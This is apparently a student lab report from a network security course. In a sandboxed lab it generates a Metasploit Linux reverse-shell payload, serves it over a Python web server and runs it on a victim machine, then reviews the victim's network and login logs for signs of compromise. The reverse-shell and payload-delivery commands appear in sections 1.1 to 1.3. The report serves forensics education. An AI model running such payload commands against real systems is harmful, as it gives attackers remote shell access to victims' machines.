

Peter Sanford
IT 2700
NetLab Lab 22
11/04/2023

1.1

Step 7:

```
Interact with a module by name or index. For example  
ll_reverse_tcp  
  
msf6 > use 0  
msf6 payload(linux/x64/shell_reverse_tcp) > █
```

Step 10:

```
msf6 > use 0  
msf6 payload(linux/x64/shell_reverse_tcp) > set LHOST 203.0.113.2  
LHOST => 203.0.113.2  
msf6 payload(linux/x64/shell_reverse_tcp) > generate -f elf -o linux █
```

Step 13:

```
msf6 payload(linux/x64/shell_reverse_tcp) > set LHOST 203.0.113.2  
LHOST => 203.0.113.2  
msf6 payload(linux/x64/shell_reverse_tcp) > generate -f elf -o linux  
[*] Writing 194 bytes to linux...  
msf6 payload(linux/x64/shell_reverse_tcp) > use exploit/multi/handler  
[*] Using configured payload generic/shell_reverse_tcp  
msf6 exploit(multi/handler) > set payload linux/x64/shell_reverse_tcp  
payload => linux/x64/shell_reverse_tcp  
msf6 exploit(multi/handler) > █
```

1.2

Step 4:

```
(kali@kali)-[~/malicious]  
$ ls -l  
total 4  
-rwxr-xr-x 1 kali kali 194 Dec  6 19:37 linux  
  
(kali@kali)-[~/malicious]  
$ python3 -m http.server  
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...  
█
```

1.3

Step 9:

```
sysadmin@ubuntu:~/Downloads$ ls
javascripts  linux
sysadmin@ubuntu:~/Downloads$ ls -l
total 8
drwxrwxr-x 3 sysadmin sysadmin 4096 Aug 17 2021 javascripts
-rwxr-xr-x 1 sysadmin sysadmin 194 Dec 7 01:40 linux
sysadmin@ubuntu:~/Downloads$ ./linux
```

2.1

Step 16:

```
root@ubuntu: /home/sysadmin/Downloads
sysadmin@ubuntu: ~/Downloads
sysadmin investigator
Thu 07 Dec 2023 01:43:58 AM UTC
Linux ubuntu.netlab.local 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44
UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
ubuntu.netlab.local
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
    ether 02:42:67:a9:a7:23 txqueuelen 0 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.16.1.10 netmask 255.255.255.240 broadcast 172.16.1.15
    inet6 fe80::250:56ff:fe16:110 prefixlen 64 scopeid 0x20<link>
    ether 00:50:56:16:01:10 txqueuelen 1000 (Ethernet)
    RX packets 69 bytes 5909 (5.9 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 785 bytes 61704 (61.7 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
:
```

3.1

Step 1:

```
sysadmin@ubuntu: ~/Downloads x root@ubuntu: /home/sysadmin/D... x
sysadmin investigator
Thu 07 Dec 2023 01:43:58 AM UTC
Linux ubuntu: netlab.local 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44
UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
ubuntu: netlab.local
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
    ether 02:42:67:a9:a7:23 txqueuelen 0 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.16.1.10 netmask 255.255.255.240 broadcast 172.16.1.15
    inet6 fe80::250:56ff:fe16:110 prefixlen 64 scopeid 0x20<link>
    ether 00:50:56:16:01:10 txqueuelen 1000 (Ethernet)
    RX packets 69 bytes 5909 (5.9 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 785 bytes 61704 (61.7 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
:
```

+ Other Locations

Step 4:

```
203.0.113.2:8000
root@ubuntusrv: /home/sysadmin/Downloads
sysadmin@ubuntusrv: ~/Downloads x root@ubuntusrv: /home/sysadmin/D... x
sysadmin :0 :0 Thu Dec 7 01:40 still logged in
reboot system boot 5.4.0-80-generic Thu Dec 7 01:25 still running
sysadmin :0 :0 Tue May 3 19:50 - down (00:01)
reboot system boot 5.4.0-80-generic Tue May 3 19:38 - 19:52 (00:13)
sysadmin :0 :0 Wed Mar 9 03:01 - down (00:58)
reboot system boot 5.4.0-80-generic Wed Mar 9 02:56 - 03:59 (01:02)
sysadmin :0 :0 Wed Jan 5 04:50 - down (00:02)
reboot system boot 5.4.0-80-generic Wed Jan 5 04:37 - 04:52 (00:15)
sysadmin :0 :0 Wed Jan 5 04:08 - down (00:28)
sysadmin :0 :0 Tue Jan 4 22:48 - 04:08 (05:20)
reboot system boot 5.4.0-80-generic Tue Jan 4 22:24 - 04:36 (06:12)
sysadmin :0 :0 Fri Dec 17 04:01 - down (00:02)
reboot system boot 5.4.0-80-generic Fri Dec 17 04:00 - 04:04 (00:03)
sysadmin :0 :0 Thu Dec 16 20:36 - down (00:09)
reboot system boot 5.4.0-80-generic Thu Dec 16 20:36 - 20:46 (00:10)
sysadmin :0 :0 Fri Nov 19 16:17 - down (00:05)
sysadmin :0 :0 Fri Nov 19 16:15 - 16:16 (00:01)
reboot system boot 5.4.0-80-generic Fri Nov 19 15:46 - 16:23 (00:36)
sysadmin :0 :0 Sun Aug 29 05:42 - down (00:02)
reboot system boot 5.4.0-80-generic Sun Aug 29 05:42 - 05:45 (00:03)
sysadmin :0 :0 Sat Aug 28 15:54 - down (00:10)
reboot system boot 5.4.0-80-generic Sat Aug 28 15:52 - 16:04 (00:12)
sysadmin :0 :0 Thu Aug 26 22:59 - down (00:00)
--More--
+ Other Locations
```

Commentary:

In this lab we viewed out linux logs after a compromise to see what clues there are to infiltrators. I learned what the logs look like when there's an infiltrator and someone logged into your account that you don't expect. Knowing this information, companies can go through their log files regularly and make sure there isn't any unexpected entries.